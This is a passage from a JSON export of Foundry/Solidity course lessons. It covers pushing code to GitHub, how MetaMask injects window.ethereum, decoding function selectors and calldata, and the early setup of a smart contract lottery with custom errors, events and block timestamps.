specific documentation called adding locally-hosted code to GitHub. As the name suggests, we want to push our locally-hosted code to GitHub.\n\nBefore proceeding further, ensure that Git is installed on your device. Directions on how to install Git can be found [here](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git)\n\nA successful installation would display the Git version when `git version` is run. In case it doesn't, pause and install Git. You can utilize chatgbt, an AI tool, to help troubleshoot any installation issues.\n\nWith Git installed, you can access all of the features of Git, such as commits and logs. Use `git status` to view your repository status and `git log` to view a history of your commits.\n\n## Pushing Code to GitHub\n\nUse the command `git add .` to add all the folders and all the files to your git status, except for the ones in the git ignore. After adding the files, use `git status` to see what files and folders will be pushed to GitHub. Furthermore, do remember to check if the `env` is included or any sensitive information is included.\n\nThe next step involves committing your tasks. You can use `git commit -m \"your message`\" to commit your tasks. After committing, use `git status` to view your commits. With everything in order, the last step is to push the commit to GitHub using `git push origin main`. In case of any errors, employ chatgbt or any other AI to help troubleshoot the problem.\n\nVoila! By now, your project should be visible on your Github repository.\n\n## Updating the README\n\nAn often overlooked yet important aspect is updating your README file. It should include an 'About' section explaining your project and a 'Getting Started' section detailing the requirements and quick start instructions.\n\nOnce you have filled out your README, commit it to your repository using `git add .`, `git commit -m \"updated README\"`, `git push`.\n\nWithout a doubt, completing these steps successfully is worthy of celebration. Feel free to share your success and excitement with the developer community on social media. Remember, celebrating small wins on your journey is instrumental to maintaining motivation and enjoying your coding journey.\n\nThat's all the instructions you need to push your project on GitHub with Hardhat FreeCodeCamp. Keep practicing, keep pushing code, and soon enough, you'll be confident in using Git!\n", + "updates": [] + }, + { + "lessonId": "0f9c4792-c718-4dcc-ad07-95abf11a2481", + "number": 22, + "slug": "section-recap", + "title": "Section recap", + "description": "This recap lesson summarizes key points from the course, including professional project setup, codebase refactoring, interaction scripts, gas and storage optimization, Makefiles, and GitHub repositories. It's a comprehensive review of the skills and knowledge gained in the course.", + "duration": 2, + "videoUrl": "oaTFRoENSgOK2TAa5f2nLG301KsItiC5chmEMM1TJ3DM", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/22-recap/+page.md", + "markdownContent": "***\n\n## title: Recap & Congratulations\n\n*Follow along with this video.*\n\n***\n\nCongratulations on making it this far on our enlightening journey on articulating how to set up a foundry project professionally! This segment stands colossal indeed, and I am here to take a brief detour and simmer down the plethora of knowledge that we gathered on handling Foundry projects more professionally.\n\n## The Key Takeaways from the Course\n\nSo, sit back, relax, let's take a look back at the phenomenal landscape we painted together on our canvas of a Foundry project.\n\n* **Professional Foundry Project Setup:**\n Setting up a project is a breeze that we adapt our hands to, but dealing with it professionally? That's where the real challenge kicks in. We have covered how to establish our source folder and accommodate numerous contracts in there.\n* **Codebase Refactoring:**\n We dived in together into the world of making our codebase more modular and learned how to refactor it. Enhancing our `FundMe` contract, we've started working on how to pass in a `price feed`, empowering us to deploy our contract on any desired chain.\n* **Interactions Script Dynamics:**\n Next, we've talked about an `interactions script` which incorporates `FundMe` and `Withdraw FundMe` contracts. This feature allows us to effortlessly withdraw funds and finance our most recently deployed contract.\n* **Working with Mocks and More:**\n What's learning without getting hands dirty? Yes! We got involved in working with mocks in testing, we understood how to conduct integration tests and also dove deeper on forking tests.\n* **Getting the grips on Gas and Storage:**\n A major leap in our education expedition was understanding more about `gas` and `storage`. Grasping these topics gives us the power to handle the energy consumption of Blockchain applications and to persist data on the Ethereum blockchain.\n* **Grasping Makefiles:**\n We learned a little about makefiles too. A Makefile contains a set of directives used by a make build automation tool to generate a target/goal.\n* **Building GitHub Repositories:**\n The icing on the cake of our extensive learning was when we built our **first GitHub repository** and pushed it up - a moment that we can incredibly own and rejoice at!\n\n\n\n## What's Next?\n\nNow, isn't it the perfect moment to give yourself a lil' break? After all, you've earned it! Grab that coffee, ice cream and have a walk. Or, simply indulge in any activity for some you-time.\n\nThough, if you wish to further enhance your knowledge and graduate from being 'okay' at this to being an absolute maestro, I urge you to continue this journey with us. We've designed our course to not just educate you but to prepare you for everything that this space has to offer.\n\nSo, see you in the next project!\n\nGoodbye, for now!\n\n***\n\n\n", + "updates": [] + } + ] + }, + { + "sectionId": "b3b77063-6dfd-43d6-83b6-c0655a81d722", + "number": 3, + "slug": "html-fund-me", + "title": "Fund Me Frontend", + "lessons": [ + { + "lessonId": "c9498599-1d48-42ab-a184-68cd69834483", + "number": 1, + "slug": "setup", + "title": "How Metamask interacts with dapps", + "description": "Introduction to MetaMask interactions with websites, covering the basics of transaction transparency and setting up a basic JavaScript web application.", + "duration": 4, + "videoUrl": "g015Gmr3Bk8wY4EnbuSTtjzJ016fWU51TSlr01VRXmZ5WA", + "rawMarkdownUrl": "/routes/foundry/3-html-fund-me/1-setup/+page.md", + "markdownContent": "***\n\n## title: Setup\n\n*Follow along the course with this video.*\n\n***\n\nLet's look at how what we've built interacts with a wallet. Remember, you can find all the code for this lesson **[here](https://github.com/Cyfrin/html-fund-me-f23)**.\n\nWe won't be going over a whole full-stack application here, but the repo above contains a raw front-end you can try to replicate if you would like to challenge yourself.\n\n> Additional front-end content will be available on Updraft in the near future!\n\nOur goal will be uncovering what's happening 'under the hood', allowing you to understand exactly what's going on when you interact with a website sending a transaction to the blockchain.\n\n### Setup\n\nNormally I would walk you through the steps to get setup, but I'm not going to do that this time.\n\nNow that you've installed Git and created a GitHub in previous lessons, we're going to clone an existing repo to have something to start with rather than starting from scratch.\n\nIn our terminal use the command:\n\n```bash\ngit clone https://github.com/Cyfrin/html-fund-me-f23.git\n```\n\nNow we can open this in a new instance of VS Code with:\n\n```bash\ncode html-fund-me-f23\n```\n\nIn order to spin up a local front end, we're going to use an extension called **[Live Server](https://marketplace.visualstudio.com/items?itemName=ritwickdey.LiveServer)**. Once installed you can simply press the `Go Live` button in the bottom right.\n\n\n\nAnd with that you should have this simple front end open in a browser.\n\n\n\n
\nWe'll be using this to glean a deeper understanding of what exactly is happening when we're interacting with websites in the coming lessons.\n", + "updates": [] + }, + { + "lessonId": "ae529daa-722d-4124-8222-b631d6a43b0a", + "number": 2, + "slug": "metamask", + "title": "Introduction to window.ethereum", + "description": "Exploration of MetaMask's interaction with JavaScript websites, focusing on the use of the `window.ethereum` object and smart contract interactions.", + "duration": 13, + "videoUrl": "001jv6kLj5yyUq02jl6ZRcYV3SuY00KSZWP6INNLN00ZLtc", + "rawMarkdownUrl": "/routes/foundry/3-html-fund-me/2-metamask/+page.md", + "markdownContent": "***\n\n## title: How MetaMask works with the Browser\n\n*Follow along the course with this video.*\n\n***\n\n### Browser Wallets\n\nThe first concept we need to grasp when working with a website in Web3 is that of a browser wallet - in our case Metamask. It's through a wallet like Metamask that we are able to interact with the blockchain and the Web3 ecosystem.\n\nWe can gain more insight into how this works by right-clicking our `FundMe` website and selecting `inspect`. You can also open this panel by pressing F12.\n\n\n\nNavigate to the console tab of this panel. This tab contains a live JavaScript shell which houses a tonne of information about the browser we have open. Among this data is a JavaScript object, `window`.\n\nBy typing `window` and hitting enter the console will display this object and all of the functions it contains.\n\nWe should see something like this:\n\n\n\nAs seen in the image, there are some properties of this object which are not there by default, one of which is `window.ethereum`. It's through this property that a front end is able to interact with our wallet and it's accounts.\n\n> Try inspecting a browser without a browser wallet installed. You'll see that `window.ethereum` doesn't exist!\n\nI recommend reading the **[Metamask documentation](https://docs.metamask.io/guide/)** on the window\\.ethereum object to learn more.\n\n### The Code\n\nAlright, great. How does the code which interacts with all this look like? We can take a look at the `index.js` file in our html-fund-me repo for this.\n\nOne of the first things you'll see is a `connect` function. This is pretty ubiquitous and is how most Web3 websites are told *Hey, I have a browser wallet, here are the accounts I want to use.*\n\n```js\nasync function connect() {\n if (typeof window.ethereum !== \"undefined\") {\n try {\n await ethereum.request({ method: \"eth_requestAccounts\" });\n } catch (error) {\n console.log(error);\n }\n connectButton.innerHTML = \"Connected\";\n const accounts = await ethereum.request({ method: \"eth_accounts\" });\n console.log(accounts);\n } else {\n connectButton.innerHTML = \"Please install MetaMask\";\n }\n}\n```\n\nWe see the first thing that this function does is checks for our `window.ethereum` object then connects and requests accounts.\n\n> **Note:** This request for accounts does **not** provide access to your private key. It allows the website to send transaction requests to your wallet in order for you to sign.\n\nLet's look briefly at the HTML and how it calls this function.\n\n```html\n\n \n ...\n\n```\n\nThe body of our `index.html` contains this button (among others) with the `id` `connectButton`.\n\nSwitching to our `index.js` we see this:\n\n```js\nconst connectButton = document.getElementById(\"connectButton\")\n...\nconnectButton.onclick = connect\n```\n\nThis grabs the element of the webpage by the `id` we set and then uses the `onClick` method to call our `connect` function!\n\n### Connecting in Action\n\nClicking on the `Connect` button on our `html-fund-me` front end, should trigger our Metamask to pop up. From there we can select an account and click connect.\n\n\n\nYou'll know this works if your `Connect` button changes to `Connected` and an address is printed to your browser console.\n\nNow you're ready to interact! The functions on our front-end example should look familiar. They're the same as the FundMe backend we built in the previous section.\n\nLet's try calling `getBalance` and see how it works - if you're chain is currently set to Ethereum, you might actually get a balance.\n\n\n\nWhen the `getBalance` buttons is clicked, this is the function we're calling on our front-end.\n\n```js\nasync function getBalance() {\n if (typeof window.ethereum !== \"undefined\") {\n const provider = new ethers.providers.Web3Provider(window.ethereum);\n try {\n const balance = await provider.getBalance(contractAddress);\n console.log(ethers.utils.formatEther(balance));\n } catch (error) {\n console.log(error);\n }\n } else {\n balanceButton.innerHTML = \"Please install MetaMask\";\n }\n}\n```\n\nAs before, we're checking for the existence of `window.ethereum` and then .. defining a provider.\n\n### RPC URLs and Providers\n\n`ethers` is a javascript package that simplifies the use and interacation of browser wallets with our code.\n\nWhat `ethers.providers.Web3Provider(window.ethereum)` is doing, is deriving the providers Metamask is injecting into our `window.ethereum` object. The providers are the RPC URLs associated with the networks in our Metamask account.\n\n\n\nWhen we call functions on our front-end. We're effectively making API calls via the RPC URL to the blockchain.\n\n### Trying it Out\n\nIn order to get some experience trying this ourselves, we'll need to set up the backend of our project and import our anvil account into Metamask.\n\nOpen your foundry-fund-me directory in VS Code and in your terminal run `anvil`.\n\nThis should spin up a local test chain for you. Copy one of the mock private keys it provides you in the terminal, we'll need this to import the account into our Metamask wallet.\n\nWith this chain running, open a second terminal and run the command `make deploy`.\n\nThis will compile and deploy our FundMe project onto our locally running blockchain. Assuming you've not run into errors. That's all that's required to set up the back end.\n\nReturn to Metamask, and within your network selector choose `Add Network`.\n\n\n\nSelect `Add a network manually` linked at the bottom of the served page.\n\nIn the subsequent page, inter your local network information as follows and click `Save`.\n\n\n\nNext, we need to add one of our `anvil` accounts to the wallet!\n\nClick the account displayed at the top of your Metamask and select `Add an account or hardware wallet` from the bottom of the list.\n\nYou'll be prompted to `add a new account`, `import an account`, or `add a hardware wallet`. Select `import an account` and enter your previously copied mock private key into the field provided.\n\n\n\nALRIGHT. With all the set up done, we should be able to select our `anvil` chain in Metamask, then select the account we just added and click the `connect` button.\n\nIf we click `getBalance` we should have `0` returned in our console reflecting the balance of our deployed contract. At this point, we should be able to enter an amount and click `fund`.\n\nOur Metamask pops up and has us sign the transaction, funding the contract with the amount we've entered!\n\n```js\nasync function fund() {\n const ethAmount = document.getElementById(\"ethAmount\").value;\n console.log(`Funding with ${ethAmount}...`);\n if (typeof window.ethereum !== \"undefined\") {\n const provider = new ethers.providers.Web3Provider(window.ethereum);\n const signer = provider.getSigner();\n const contract = new ethers.Contract(contractAddress, abi, signer);\n try {\n const transactionResponse = await contract.fund({\n value: ethers.utils.parseEther(ethAmount),\n });\n await listenForTransactionMine(transactionResponse, provider);\n } catch (error) {\n console.log(error);\n }\n } else {\n fundButton.innerHTML = \"Please install MetaMask\";\n }\n}\n```\n\nThe function being called when we click this button is very similar in structure to the other we looked at.\n\n* look for `window.ethereum`\n* define our `provider`\n* acquire the `signer` (account credentials)\n* define the contract/target of our call\n * these are hardcoded for simplification purposes in this example and can be found in the **[constants.js](https://github.com/Cyfrin/html-fund-me-f23/blob/main/constants.js)** file of our **[html-fund-me repo](https://github.com/Cyfrin/html-fund-me-f23)**.\n* submit transaction to the target contract with provided arguments.\n\n> **Note:** I'll stress again that this call being made by the front-end does **not** give the front-end access to private key data. The transaction is always sent to the wallet for confirmation/signing.\n\n### Wrap Up\n\nWe've learnt a lot about how browser wallets like Metamask work under the hood and actually send our transactions to the blockchain. Great work - we've more low level concepts to cover in our next lesson.\n", + "updates": [] + }, + { + "lessonId": "23b9873a-e58f-4c21-a8db-4d3602e8b214", + "number": 3, + "slug": "function-selectors", + "title": "Decoding Ethereum transactions", + "description": "Guide to understanding and decoding Ethereum transaction data using function selectors, with practical examples of verifying transactions.", + "duration": 8, + "videoUrl": "kT004F01Bs02ezyhLSUMKIH1fV7w025zMHGOs877HZo7h024", + "rawMarkdownUrl": "/routes/foundry/3-html-fund-me/3-function-selectors/+page.md", + "markdownContent": "***\n\n## title: Function Selectors Introduction\n\n*Follow along the course with this video.*\n\n***\n\n### Intro to Function Selectors\n\nContinuing from the last lesson, when we call the `fund` function our Metamask is going to pop up with a bunch of information about the transaction.\n\n\n\nBy clicking the `Hex` tab, we can confirm the raw data for this transaction and exactly which function is being called.\n\n\n\nWe'll go into `function selectors` a lot more later, but the important thing to understand is that when a Solidity contract is compiled, our functions are converted into a low-level bytecode called a `function selector`.\n\nWhen we call our `fund` function, this is converted to a `function selector` that we can actually verify using Foundry's `cast` command.\n\n```bash\ncast sig \"fund()\"\n```\n\nThe above should result in the output `0xb60d4288` and when we compare this to the `Hex` data in our Metamask, we see that it does indeed match!\n\nWere the function being called something secret/nefarious like `stealMoney()`. This function selector would be completely different. Running our cast command again confirms this clearly with a return of `0xa7ea5e4e`.\n\nWe can use this knowledge to verify any function we're calling through our browser wallet by comparing the expected and actual `function selectors` for the transaction.\n\nThere's even a way to decode calldata using the cast command.\n\nLet's say our function was a little different and it required an argument.\n\n```js\nfunction fund(uint256 amount) public payable {\n require(amount.getConversionRate(s_priceFeed) >= MINIMUM_USD, \"You need to spend more ETH!\");\n // require(PriceConverter.getConversionRate(msg.value) >= MINIMUM_USD, \"You need to spend more ETH!\");\n s_addressToAmountFunded[msg.sender] += amount;\n s_funders.push(msg.sender);\n}\n```\n\nIf we were to call this function, the information Metamask gives us is a little different.\n\n\n\nIn this instance, we can use the command `cast --calldata-decode ` to provide us the parameters being passed in this function call!\n\n```bash\ncast --calldata-decode \"fund(uint256)\" 0xca1d209d000000000000000000000000000000000000000000000000016345785d8a0000\n```\n\nThe above decodes to:\n\n```bash\n100000000000000000 [1e17]\n```\n\n0.1 Eth! The same amount being passed as an argument to our `fund` call. It seems this function is safe!\n\n### Wrap Up\n\nThis more or less summarizes how transactions work through our browser wallet and what we can expect to see from a low-level with respect to the encoded `function selectors` and `calldata`, we'll go over those in more detail later.\n\nI encourage you to experiment with the remaining functions on the front end. A few things to try:\n\n* Funding and Withdrawing with an account\n* Funding with Account A and Withdrawing with Account B - what happens?\n* Verify the `function selectors` of our other functions\n\nIn our next lesson we'll recap everything we've learnt so far 💪\n", + "updates": [] + }, + { + "lessonId": "bcb0296e-6981-43c8-9742-1bd4688fca06", + "number": 4, + "slug": "summary", + "title": "Section recap", + "description": "Summary of web interactions and transactions, emphasizing the role of function selectors and the importance of secure and intelligent web navigation.", + "duration": 5, + "videoUrl": "xCh701YZUuRoJB36kPymJVtmwdOWTNWC58IMZWn4SWxA", + "rawMarkdownUrl": "/routes/foundry/3-html-fund-me/4-summary/+page.md", + "markdownContent": "***\n\n## title: Summary\n\n*Follow along the course with this video.*\n\n***\n\n### Recap\n\nI know this lesson was pretty quick, but my intent was to give you some degree of familiarity with the low-level functionality behind interacting with websites in Web3.\n\nIf you're interested in expanding your full-stack skills, I encourage you to check out the html-fund-me repo in more depth. Some additional tools and frameworks you may want to investigate include:\n\n* **[React](https://react.dev/)**\n* **[Svelte](https://svelte.dev/)**\n\nLet's do a refresher on the important things to know under the hood, when it comes to interacting using our wallets.\n\n***\n\nWe learnt, in order to send a transaction, you need to connect your wallet.\n\nThe most popular way to connect our wallet to Web3 enabled applications is through browser injection. Our browser can check for the presence of a wallet by checking for the `window.ethereum` object.\n\nAdditionally, in order to send a transaction to our wallet, our browser needs an RPC URL or a `provider` this is derived from the `ethereum.window` object that our browser wallet creates.\n\n```js\nconst provider = new ethers.providers.Web3Provider(window.ethereum);\n```\n\nOur wallet also provides the browser with an account to use through this line.\n\n```js\nconst signer = provider.getSigner();\n```\n\nOnce a wallet is connected, it's important to remember that the browser sends transactions *to* our wallet for signing/confirmation. The wallet does *not* provide private key information to the browser application.\n\n\n\nWe also learnt a basic way to verify the function calls being sent to our wallet through the use of `function selectors` and decoding `calldata`. We'll go over this in more detail later!\n\nThat's all there is to this lesson! With your deeper understanding of how transactions are handled, I'll see you in the next one!\n", + "updates": [] + } + ] + }, + { + "sectionId": "31c5e514-7427-479c-ad8c-1aebcf1e45ee", + "number": 4, + "slug": "smart-contract-lottery", + "title": "Smart Contract Lottery", + "lessons": [ + { + "lessonId": "56f7152b-6ccb-4c0a-be25-fb56cb797b0d", + "number": 1, + "slug": "setup", + "title": "Smart contract lottery - Project setup", + "description": "Introduction to building an advanced lottery or raffle smart contract, covering key features like Chainlink automation and random number generation.", + "duration": 12, + "videoUrl": "6MLgmCeVhO01FOkANaADQRdmStMgY2Jl9lXxRo02STYJw", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/1-setup/+page.md", + "markdownContent": "***\n\n## title: Setup\n\n*Follow along the course with this video.*\n\n***\n\nWelcome back! I hope you enjoyed your break because we're about to dive into project number nine. As always, our goal is not just to teach you to build amazing projects, but to ensure you understand best practices and how to make your code look phenomenal.\n\n## Getting Started\n\nFor the project, we'll be working with an **advanced lottery or raffle smart contract**. This won't just be an exercise in coding, but a chance to learn more about:\n\n* Events\n* Working with true random numbers\n* Working with Modulo\n* Chainlink automation\n* And so much more.\n\nFeel free to explore the code base right in the course down to lesson nine. No need to follow along right now, just watch and get a feel for what we're about to build.\n\n\n\n## A Closer Look at the Smart Contract\n\nIn this project, we're introducing some **professional Nat spec for an even better looking codebase**. A key feature here is the raffle or lottery smart contract. This contract includes various functionality such as:\n\n* Enabling users to enter the raffle\n* A unique `checkUpkeep` functionality\n* A `fulfillRandomWords` function that chooses a winner and awards them a sum of money based on the entries\n* Multiple getter functions\n\nHaving made sure our foundational setup is in place with `forge build`, we then move to our make file where we have different commands like deploying our smart contracts and interacting with the Chainlink automation.\n\n## Building From Scratch\n\nOne crucial lesson we should all remember is that repetition is the mother of skill. The more you code, the better you get. As such, it advisable to code along, pausing the tutorial occasionally to try coding on your own.\n\nWe start fresh by creating a new Foundry project. Right before diving into code, it's essential to plan out what you want your project to achieve. Define those goals clearly, while making sure they align with the project's requirements. For the lottery project, the goals include:\n\n* Users should be able to enter the raffle by paying for a ticket\n* The lottery should automatically and programmatically draw a winner after a certain period\n* Chainlink VRF should generate a provably random number\n* Chainlink Automation should trigger the lottery draw regularly\n\n**Rope in Chainlink for the win!**\n\n* Chainlink VRF is an essential tool to instill trust in the lottery process. It generates a provably random number outside of the blockchain, ensuring the process is fair and transparent.- Chainlink Automation, a time-based trigger, eliminates the need for manual trigger of the lottery draw, making the process even smoother.\n\nGiven the goals, the functions necessary to achieve this are `enterRaffle` and `pickWinner`. The `enterRaffle` function allows users to buy a ticket to enter the raffle and the `pickWinner` function randomly picks a winner and awards them the accumulated entry fees.\n\n## The Layout for Your Code\n\nCode layout matters! As they say, \"Clean code is a process, not a point in time.\" We can improve our code's layout and readability with the best practices we have learned.\n\n\n\nSo let's get back to our Enter raffle function. You would probably want to set a ticket price or entry fee, right? Therefore, setting up an `entranceFee` state variable promptly at the top of the contract is recommended. We want to be mindful of our gas costs though, hence making the variable immutable.\n\n```js\nuint256 private immutable _entranceFee;\n```\n\nCreating a getter function for the entrance fee allows for transparency since the world can see the fee.\n\n```js\n// Getter functions\nfunction getEntranceFee() external view returns(uint256){\n return _entranceFee;\n}\n```\n\nWe are just getting warmed up! There’s more to building this lottery contract. No worries, though, the journey to creating a provably fair, a provably random lottery, while learning and implementing best practices to making your code look phenomenal, is going to be amazing.\n\nLet's jump in!\n", + "updates": [] + }, + { + "lessonId": "35905d3f-a802-4475-913d-c4af8ae829c8", + "number": 2, + "slug": "solidity-layout", + "title": "Solidity style guide", + "description": "Exploration of Solidity's code layout and function ordering for efficient smart contract development.", + "duration": 2, + "videoUrl": "Pi8ak2J8SkzpNif4sZ5qF1UeSZ4zeAzLMMg01goCB1aU", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/2-solidity-layout/+page.md", + "markdownContent": "***\n\n## title: Solidity Layout\n\n*Follow along the course with this video.*\n\n***\n\nIn one of our previous conversations, we discussed Solidity's style guide, code layouts. However, it's intriguing to note that we didn't fully explore how to properly order our Solidity functions and calls. This article aims to delve deeper into this crucial aspect of the usage of Solidity, the leading programming language for smart contract development.\n\nThe official Solidity docs provide a comprehensive order of layout for a better understanding of the programming organization. The objective is to make your codebase look professional and easy to navigate when working with code.\n\n\n\n## The Standard Order for Code Layout in Solidity\n\nStarting with the `Pragma` directive, a typical Solidity code layout follows several steps in a specific order:\n\n1. `Pragma` statement\n2. Import statements\n3. Interfaces and libraries\n4. Contracts\n5. Type declarations within contracts\n6. State variables\n7. Events\n8. Modifiers\n9. Functions\n\nWe've been following the correct procedure with `Pragma` at the very start. However, we currently don't have any import statements, interfaces or libraries. Next up on the list would be contracts, inside which you do type declarations and state variables.\n\nOur first function comes next, where we don't have any events or modifiers in use. The ordering advises that we start from the `constructor` but remember, keep the readability and comprehensibility of your program as a priority.\n\n\n\n## A Closer Look at Function Ordering\n\nFunction ordering in Solidity also follows a specific flow. You start with the constructor, then follow it up with the receive and fallback functions. After that, external and public functions come, followed by internal and private functions. Lastly, within a grouping, view and pure functions should be placed.\n\nLet's break down the order in this list:\n\n1. Constructor\n2. Receive\n3. Fallback\n4. External and Public functions\n5. Internal and Private functions\n6. View and Pure functions\n\nEnforcing readability, this order adds to the organization, keeping the code neat and manageable.\n\n## How to Remember the Order\n\nYou might sometimes find you forget to follow this specific order. A helpful tip that I personally use is to paste the code layout order at the top of my code as a quick reference guide. You can find a template of this versioning layout in the GitHub repository associated with this lesson.\n\n\n\nGo to the [Github repo](https://github.com/Cyfrin/foundry-smart-contract-lottery-f23/tree/main/src) and copy the code layout. Paste it at the top of your working context. This layout serves as a comprehensive guide we will follow.\n\nFrom there, you can copy and paste it at the top of your working context. This layout serves as a comprehensive guide we will follow.\n\n\n\n## Conclusion\n\nIn the end, the Solidity docs' recommended layout is simply a guide - you can opt to follow it or devise your own. After all, the ultimate goal is to create a clean and comprehensible code base regardless of the layout.\n\nBear in mind, though, that when your application scales and interacts with other contracts, Solidity's official documentation's recommended order could save you significant time and confusion. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "32c9ad50-2e26-4383-a292-4a57affc9db7", + "number": 3, + "slug": "solidity-custom-errors", + "title": "Creating custom errors", + "description": "Guidance on using custom errors in Solidity for gas-efficient and effective error checking.", + "duration": 5, + "videoUrl": "7600cgnkWs6W1A00LOfwy2TS400qENc4oGm8kd5P4o1iyc", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/3-custom-errors/+page.md", + "markdownContent": "***\n\n## title: Custom Errors\n\n*Follow along the course with this video.*\n\n***\n\n## Implementing the Entrance Fee\n\nSo, remember when we said our raffle had an entrance fee? Well, let's get to it and actually start using it to ensure only people who have paid can enter the raffle.\n\nOur entrance raffle function is a `public payable`. However, it might be better to make it `external payable` for better gas efficiency. So, let's make that switch now.\n\nThe shift to `external payable` makes sense since we're highly unlikely to have any internal function calls to `enterRaffle`, and `external payable` functions tend to be slightly more gas-efficient when called from outside the contract. Now that we've done that, let's do a check to ensure the correct quantities are transferred.\n\nHere's where the require statement comes into play.\n\n```js\nrequire(msg.value >= _entranceFee, \"Not enough ETH sent!\");\n```\n\nThis statement checks if the entrance fee meets a certain condition - in this case, that the sent ETH is greater than or equal to the entrance fee. But if it doesn't, our function will revert and throw the user-friendly error message \"Not enough ETH sent!\".\n\nThis leads us to our first major update to our knowledge of Ethereum.\n\n## Custom Errors Vs `Require`\n\nTraditionally, the `require` function in Solidity has been the go-to method for incorporating error checking in the code. But all that changed with Solidity version 0.8.4 which introduced custom errors. This development allows you to define errors with custom names and, more importantly, custom errors happen to be more gas efficient.\n\nHere's how we could use it:\n\n```js\n// Define the custom error at the top of your contract\nerror NotEnoughETHSent();\n// Invoke the custom error\nif (msg.value < _entranceFee) {\n revert NotEnoughETHSent()\n};\n```\n\nTo give you a practical understanding of the gas saved, let's see an example. Two similar functions coded twice, one using revert with custom error and the other with require.\n\n```js\n// Revert with custom error\nfunction revertWithError() public pure{\n if(false){\n revert ExampleRevert_Error();\n }\n}\n// Revert with require\nfunction revertWithRequire() public pure {\n require(true, \"ExampleRevert_Error\");\n}\n```\n\nIf we were to deploy both the functions on Remix and execute them, despite both reverting (which inherently costs gas), the function with the custom error (`revertWithError`) turns out to be more gas efficient, costing **142 gas** to the **161 gas** of the `require` based error handling.\n\nSo, in essence, this is a practical example of \"learning something to never use it again\".\n\nThat's it, folks! By now, you know how to work with custom errors and some best practices to consider when writing these reverts. Stay tuned for more Ethereum Smart Contract updates and practical takes. Here's to better (and more gas-efficient) coding!\n", + "updates": [] + }, + { + "lessonId": "9d92bd94-45e2-4a05-ac64-b98f3d9fe717", + "number": 4, + "slug": "solidity-events", + "title": "Smart contracts events", + "description": "In this lesson we'll explore how to use events in Ethereum smart contracts, specifically in a lottery system context.", + "duration": 12, + "videoUrl": "CuuJNbO3msJ1p3bovznCkrmmtrxhm9vswul1vyqrkz4", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/4-events/+page.md", + "markdownContent": "***\n\n## title: Events\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nEver wondered how to track users in an Ethereum lottery? Or how about which data structure to use for storing players addresses in an on-chain lottery system? Well, you're in for a ride as we take a deep dive into these topics and more!\n\n## What's Next? Data Structures to the Rescue!\n\nIn the case of a lottery system on the Ethereum network, we need to store and track all the users participating in each round.\n\nHere, we are confronted with the question of which data structure to choose. Should we use an array or a mapping? Should we use multiple address variables?\n\nTo solve this, we've decided to use a dynamic array, an array that adjusts its size as needed. The reasons for this choice become apparent as you need to randomly pick a winner from the entries. As you may know, mappings can’t be looped through, which poses a problem if we need to randomly select an individual for the winning prize.\n\n```js\naddress[] private s_players;\n```\n\nThe above line is an array of the players in the lottery. Notice the `private` modifier, which means the variable cannot be accessed directly from outside the contract. This variable is dynamic and its value will change frequently as players enter the lottery, leading to more storage operations.\n\nAs we are dealing with Ether which will be paid to these players, we should make it an `address payable` to ensure we can transfer funds to these players.\n\n## Updating Our Lottery\n\nWith our array in place, we can proceed to update our lottery function.\n\n```js\ns_players.push(payable(msg.sender));\n```\n\nWhen users enter the lottery, we add their address into our dynamic array. Using the `push` function, we can add the `msg.sender` to our `s_players` array.\n\n## Emitting Events: Announce It to the World!\n\nA key part of our function is missing: an event. Events in Ethereum are a mechanism to communicate that something has happened in a smart contract. These records can be used by the front-end of your application for various tasks and are also useful in migrating or updating your contracts. An event is typically emitted following any interaction with the contract that modifies its state.\n\nIn our case, we should emit an event when a player enters the lottery. For this, we'll create an event called `EnteredRaffle` which receives an indexed address type parameter. Indexed parameters are parameters that are much easier to search for and much easier to query than non-indexed ones.\n\n```js\n// Event Declaration\nevent EnteredRaffle(address indexed player);\n// Emitting the Event\nemit EnteredRaffle(msg.sender);\n```\n\n## In Conclusion\n\nAt this point, we've determined the data structure to use for our lottery, updated our function with it, and implemented events. The choices we discussed here should make picking a winner from all the participants seamless.\n", + "updates": [] + }, + { + "lessonId": "62240b7f-d0a3-4182-9d00-ce5c2e738aba", + "number": 5, + "slug": "solidity-random-number-block-timestamp", + "title": "Random numbers - Block Timestamp", + "description": "Insights into using block timestamps for random number generation in lottery smart contracts.", + "duration": 4, + "videoUrl": "8CGe7INLGvED02HpJxpQm7pHCGZ02NTbCJlqxh700o3jmk", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/5-block-timestamp/+page.md", + "markdownContent": "***\n\n## title: Block Timestamp\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nToday, I'll be explaining and walking you through some crucial steps for developing an automatic lottery winner selection function, `pickWinner`.\n\n\n\n## The 'pickWinner' Explained\n\nThe `pickWinner` function isn't just about picking the winner but also getting a random number *and* ensuring automatic selection happens seamlessly and precisely when it should.\n\nHere are a few things we want our `pickWinner` function to do:\n\n* Get a random number.\n* Use the random number to pick a player.\n* Trigger automatically (eliminating the need for manual interaction).\n\nLet's dive right into how we can achieve this. Initially, let's focus on the first two tasks—we can discuss automatic triggering later.\n\n### Getting a Random Number and Picking a Winner\n\nTo create an `external` function that anyone could call to select a random winner, we'd probably want the winner selection to happen when the lottery is ready for its winner. So, how do we know when that time is right? We make sure that enough time has elapsed to pick a winner.\n\n```js\npublic function pickWinner() external {}\n```\n\nWe'd achieve this by creating an `interval` variable, specifying how long our lottery will last before a winner is selected. However, since we wouldn't want to keep changing this value, we'll make it an `immutable` variable, meaning it can only be set in the constructor and remains constant throughout the contract's life.\n\n```js\nconstructor(uint256 entranceFee, uint256 interval) {\n i_entranceFee = entranceFee;\n i_interval = interval;\n}\n```\n\nComments are your best friend when reading code. So, don't forget to comment what `i_interval` contains: duration of the lottery in seconds.\n\n```js\n// Duration of the lottery in seconds\nuint256 private immutable i_interval;\n\n```\n\n### The Golden Period: Has Enough Time Passed?\n\nNext, we need to check if this preset interval has passed before invoking the `pickWinner` function. Which leads us into some thorough timestamp comparison, in which we will take block timestamps into account!\n\nThe `block.timestamp` global variable gives us the current time in seconds. Subtracting the previous timestamp from the current block timestamp should ideally be more significant than our preset interval.\n\n```js\nblock.timestamp - s_lastTimestamp > i_interval;\n```\n\nThis condition checks if enough time has 